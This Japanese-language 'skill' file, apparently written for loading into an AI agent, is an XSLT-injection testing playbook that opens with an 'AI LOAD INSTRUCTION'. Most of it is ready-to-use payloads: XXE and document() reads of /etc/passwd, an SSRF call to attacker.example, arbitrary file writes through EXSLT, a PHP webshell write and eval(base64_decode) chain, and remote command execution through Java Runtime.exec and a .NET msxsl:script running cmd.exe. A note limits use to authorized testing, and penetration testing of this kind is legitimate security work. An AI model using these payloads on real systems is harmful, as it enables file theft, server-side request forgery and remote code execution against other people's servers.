SKILL: XSLT インジェクション — テストプレイブック

AI LOAD INSTRUCTION: XSLT インジェクションは、攻撃者が影響を与えた XSLT がサーバー側でコンパイル/実行される場合に発生します。まず プロセッサファミリー (Java/.NET/PHP/libxslt) をマッピングしてください。その後、プラットフォームごとに document()、外部エンティティ、EXSLT、または 組み込みスクリプト/拡張関数 をチェーンします。認可されたテストのみ; 多くのペイロードは破壊的です。ルーティングノート: 入力がジェネリック XML 解析でありXSLTを通さない可能性がある場合、xxe-xml-external-entity をクロスロードしてください; アウトバウンド document(http:...) リクエストに関心がある場合、ssrf-server-side-request-forgery をクロスロードしてください。

---

0. クイックスタート

1. シンク検出: xslt、stylesheet、transform、template、SOAP スタイルシート、レポートジェネレータ、XML→HTML コンバータという名前のパラメータを探します。
2. リフレクションプロープ: 一意の名前空間または xsl:value-of select="'marker'" をインジェクトします — 出力が変わる場合、実行の可能性が高いです。
3. プロセッサをフィンガープリント (§1)。
4. ファミリー別にエスカレート: document() / XXE (§2–3)、EXSLT write (§4)、PHP (§5)、Java (§6)、.NET (§7)。

クイックプローブ (無害なマーカー):

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="'XSLT_PROBE_OK'"/>
  </xsl:template>
</xsl:stylesheet>

---

1. ベンダー検出

式内で標準的な system-property 読み込みを使用します:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
    <xsl:text>&#10;version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
    <xsl:text>&#10;vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
  </xsl:template>
</xsl:stylesheet>

典型的なフィンガープリント (例であり、網羅的ではありません):

シグナル	可能なエンジン
Apache Software Foundation / Xalan マーカー	Xalan (Java)
Saxonica / Saxon URI ヒント	Saxon
libxslt / GNOME スタック	libxslt (C、多くの場合 PHP、nginx モジュール経由)
Microsoft URL / MSXML 文字列	MSXML / .NET XSLT スタック

結果を使用して §5–§7 パスを選択します。

---

2. 外部エンティティ (XSLT 経由の XXE)

XSLT 1.0 では、パーサーが DTD を許可する場合、スタイルシートまたはソース内で DTD ベースのエンティティ が許可されます:

<!DOCTYPE xsl:stylesheet [
  <!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="'ENTITY_START'"/>
    <xsl:value-of select="&ext_file;"/>
    <xsl:value-of select="'ENTITY_END'"/>
  </xsl:template>
</xsl:stylesheet>

注意: 強化されたパーサーは外部 DTD を無効にします — ここでの失敗は他の XSLT ベクトルを否定しません (§3 を参照)。

---

3. document() 経由のファイル読み取り

document() は別の XML ドキュメントをノードセットにロードします; ローカルファイルは XML として解析されることがあります (ノイズが多い) が、エラーと部分的な読み取り でもリークする可能性があります。

Unix の例:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

Windows の例:

<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>

SSRF / アウトオブバンド:

<xsl:copy-of select="document('http://attacker.example/ssrf')"/>

インラインデータがクライアントに戻らない場合、エラーベース または タイミング 観測とチェーンします。

---

4. EXSLT (exslt:document) 経由のファイル書き込み

EXSLT common 拡張が有効な場合:

<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit">
  <xsl:template match="/">
    <exploit:document href="/tmp/evil.txt" method="text">
      <xsl:text>PROOF_CONTENT</xsl:text>
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

影響: パス権限が許可する任意のファイル書き込み — 多くの場合、webroot、cron パス、またはインクルッションポイント経由で RCE。

---

5. PHP (php:function) 経由の RCE

registerPHPFunctions() スタイルの公開を備えた PHP XSLT が必要です (アプリケーションの設定ミス)。名前空間:

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="php:function('readfile','index.php')"/>
  </xsl:template>
</xsl:stylesheet>

ディレクトリリスト:

<xsl:value-of select="php:function('scandir','.')"/>

危険なパターン (履歴的な悪用 — ラボでのみ確認):

• php:function('assert', string($payload)) — 環境に依存、多くの場合非推奨/削除; 古いアプリの include/require とチェーン。
• php:function('file_put_contents','/var/www/shell.php','<?php ...') — 呼び出し可能が無分別にホワイトリストされた場合の webシェル書き込み。
• preg_replace with /e modifier (レガシー PHP) — 置換文字列は PHP として評価; metasploit スタイルのチェーンは多くの場合、blob の base64_decode でラップされて meterpreter (またはその他の) ステージ化されたペイロードをスムーズに送出します。PHP 7+ で削除; 古いランタイムのみ関連。

レガシー PHP 同等物 (illustrates the /e + base64 パターン — ラボのみ):

preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);

XSLT 表面は php:function がユーザースタイルシートに preg_replace を公開する場合のみ (まれ + 重大な設定ミス)。

テスター注: 現代的な PHP 強化はしばしば これらをブロック; RCE の不在は document() / XXE を削除しません。

---

6. JAVA (SAXON / XALAN 拡張機能) 経由の RCE

Java エンジンは、静的メソッドにマップする 拡張関数 を公開する可能性があります。例は履歴的なアドバイザリに表示されます; 正確な構文は バージョンと拡張バインディング に依存します。

説明的なパターン (概念的 — 許可された拡張名前空間と API に調整):

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
    <xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
  </xsl:template>
</xsl:stylesheet>

Saxon スタイル静的 Java 統合 (構成に大きく依存):

Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')

192.0.2.1 をあなたのラボリスナー / ドキュメント IP (RFC 5737 TEST-NET) に置き換えます。

運用ガイダンス: 拡張機能が無効な場合 (一般的なセキュアなデフォルト)、document()、SSRF、または別の場所の deserialization にピボットします — すべての XSLT エンドポイントが拡張機能をオンで実行するわけではありません。

---

7. .NET (msxsl:script) 経由の RCE

Microsoft XSLT スクリプトブロック が許可される場合:

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:msxsl="urn:schemas-microsoft-com:xslt"
    extension-element-prefixes="msxsl">
  <msxsl:script language="C#" implements-prefix="user">
    <![CDATA[
    public string xexec() {
      System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
      return "ok";
    }
    ]]>
  </msxsl:script>
  <xsl:template match="/">
    <xsl:value-of select="user:xexec()"/>
  </xsl:template>
</xsl:stylesheet>

デフォルトセキュア設定 はしばしばスクリプトを無効にします — これを 有効な場合 の動作として扱います。

---

8. デシジョンツリー

                    ユーザーが XSLT または XML 変換に影響を与えるか?
                                    |
                                   NO --> 停止 (スコープ外)
                                    |
                                   YES
                                    |
                    +---------------+---------------+
                    |                               |
             インジェクト                      リフレクション
             ロジックを出力に反映               なし
             するか?                         ブラインドチャネル
                    |                         を試す
                    v                               |
            system-property()                       v
            ベンダーをフィンガープリント        エラー、OOB、タイミング
                    |                               |
        +-----------+-----------+                   |
        |           |           |                   |
      libxslt     Java        .NET              document()
        |           |           |                   |
    document()   Saxon/Xalan  msxsl:script?      SSRF/ファイル
    EXSLT write  拡張機能?        |                   |
        |           |           C# Process         EXSLT?
        v           v           v                   v
    ファイル R/W   rt/exec      cmd.exe /c        証拠をマッピング

---

Payloads All The Things (PAT) ノート

PayloadsAllTheThings プロジェクトは多くのインジェクションクラスを文書化しており; XSLT については、メンテナーノートが SQLi/XSS ツールチェーンに匹敵する専用のメンテナンスツールセクション がないことを示しています — エクスプロイテーションは プロセッサと設定に固有 であり、プロキシ/手動ペイロードとカスタムスクリプトによって駆動されます。可能な場合、ターゲットと同じエンジン/バージョンで ローカルラボ再現 の時間を計画してください。

---

ツール (実用的)

カテゴリ	例
プロキシ / 手動	Burp Suite、OWASP ZAP — スタイルシートペイロードを再生、レスポンスとエラーを観察
XML/XSLT ラボ	確実なプロセッサ (PHP libxslt、Java Saxon バージョン、.NET フレームワーク) を VM で一致させる
アウトオブバンド	Collaborator / プライベートコールバックサーバー document('http://…') 用

単一の汎用スキャナーは バージョン固有 の動作検証を代替しません。

---

関連

• xxe-xml-external-entity — DTD/エンティティ強化、ジェネリック XML パーサー (../xxe-xml-external-entity/SKILL.md)。
• ssrf-server-side-request-forgery — document(http:…) またはエンティティ URL がサーバーフェッチを引き起こす場合 (../ssrf-server-side-request-forgery/SKILL.md)。